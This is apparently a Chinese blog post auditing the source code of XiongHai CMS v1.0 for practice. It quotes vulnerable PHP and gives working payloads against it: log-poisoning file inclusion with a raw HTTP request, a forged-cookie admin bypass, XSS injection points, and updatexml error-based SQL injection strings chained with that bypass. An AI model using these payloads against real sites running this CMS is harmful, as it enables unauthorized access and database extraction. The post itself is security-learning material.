前言

菜狗子学代码审计,只能挑挑软柿子捏一捏了。MVC框架现在估计是审计不出来,只能找找代码流不仅小一点,小型的CMS下手了。所以找了这一套又老有小的CMS来练练手了,目前还是用seay审计系统先扫描可疑的漏洞点,然后一个一个地去看漏洞涉及的代码,可能菜是原罪吧。

熊海CMS v1.0

任意文件包含

在路径/admin/index.php中,有一段入口文件代码:

1
2
3
4
5
6
7
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

这里的变量$_GET['r']仅仅用addslashes()函数进行简单的转义,直接进行文件包含,但是在include()函数里拼接了.php后缀。所以必须要上传了.php文件才行。

手动在文件目录下创建1.php,用r=../1包含该文件,但是这个貌似有点鸡肋。

如果满足如下条件,就可以利用%00截断可以进行包含文件进行getshell

  • PHP版本 < 5.3
  • magic_quotes_gpc = off
  • 没有用addslashes()进行转义处理

手动把PHP版本调到5.2.17,并且把magic_quotes_gpc = off,去掉原来代码中的addslashes()函数处理进行文件包含getshell

另外再修改代码测试一下,把拼接部分的php后缀去掉。然后就可以利用到包含日志文件进行getshell了。

Payload:r=../../../Apache/logs/access.log <?php phpinfo(); ?>

浏览器会对一些字符进行转义编码,用burp直接发包。

1
2
3
4
5
6
7
8
GET /index.php?r=../../../Apache/logs/access.log <?php phpinfo(); ?> HTTP/1.1
Host: xhcms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

cookie伪造越权访问

在路径\inc\checklogin.php的代码如下:

1
2
3
4
5
6
7
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>

checklogin.php文件用来检查用户的COOKIE,判断仅仅是判断COOKIE是否不为空,所以只要我们伪造任意不为空的COOKIE值就可以跳过后面的重定向了。

\admin\files目录下的所有的文件都是通过require()函数来包含这个文件进行COOKIE认证的。

1
require '../inc/checklogin.php';

所以我们可以直接伪造任意不为空的COOKIE值来进行越权访问。

存储型XSS

在每个文章下面是可以进行评论的,提交了一下评论表单,用PHPStorm调试跟进。发现评论内容是被过滤了的。

在文件\files\submit.php中:

1
$content= addslashes(strip_tags($content));//过滤HTML

但是没有过滤其他的字段,这里仍然可以利用其他字段进行XSS攻击。

利用昵称进行XSS测试。

这里好像把页面的html也插坏了。。

后台管理员界面:

反射型XSS

在路径\files\contact.php中,

1
2
3
4
5
6
7
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
?>

这里的$page是直接仅仅进行了转义,然后直接代入以下的html代码里。

1
<a>第 <?php echo $page?> - <?php echo $Totalpage?> 页 共 <?php echo $Total?> 条</a>

所以可以XSS。

前台多处报错注入

\files\software.php报错注入

在路径\files\software.php如下代码:

1
2
3
4
5
6
7
8
9
10
11
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$info = mysql_fetch_array($resul);
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$download = mysql_fetch_array($resul);

//浏览计数
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误:'.mysql_error());

这里的cid变量通过GET请求提交,然后通过一个addslashes()函数进行简单的转义,这样对注入是没有防护作用的。所以可以直接进行注入,这里是通过die('SQL语句有误:'.mysql_error());输出报错信息,所以是属于报错注入。

\files\content.php报错注入

在路径\files\content.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$info = mysql_fetch_array($resul);

$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$content = mysql_fetch_array($resul);

$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$navs = mysql_fetch_array($resul);

这里的cid变量跟\files\software.php是一样的。

\files\submit.php报错注入

\files\submit.php路径下,有几处SQL注入,有跟前面一样的cid变量,另外还有下面的mail变量。

1
2
3
4
5
6
7
8
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$tx = mysql_fetch_array($result);
if (!mysql_num_rows($result)){
$touxiang = mt_rand(1,100);
}else{
$touxiang = $tx['touxiang'];
}

这里的mail变量是POST提交的,没有经过任何过滤,闭合单引号和括号。

1
1') and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

在评论处,添加评论并在邮箱处插入payload。

提交返回报错信息。

后台报错注入

\admin\files\wzlist.php报错注入

后台也有不少可以进行报错注入的点,这里有一处是利用到delete语句的。。

1
2
3
4
5
6
7
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit;
}

直接闭合单引号就可以了,这里也没对单引号进行转义的。

后台的注入在这cms里来看并不是很鸡肋,因为我们结合前面得到的cookie伪造越权访问在没有管理员账号密码的情况下进行注入。例如:

1
2
3
4
5
6
7
8
9
10
11
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];
$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
@mysql_query($query) or die('新增错误:'.mysql_error());
echo "<script>alert('亲爱的,链接已经成功添加。');location.href='?r=linklist'</script>";
exit;
}

这里是一个利用insert的报错注入,同样在页面添加友情链接。

1
' or  (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or'

保存得到报错信息。

结语

其实还是一套简单的CMS,也是常见的漏洞。代码也比较简单,也没有过多的防护。这里找到的一个cookie伪造越权访问漏洞,这种是自动审计工具没法发现的点,所以还是需要自己去读代码的逻辑。结合这个漏洞,就可以在没有后台管理员权限的情况下进行后台的SQL注入。所以结合不同的漏洞去得到一个webshell是需要学习的点。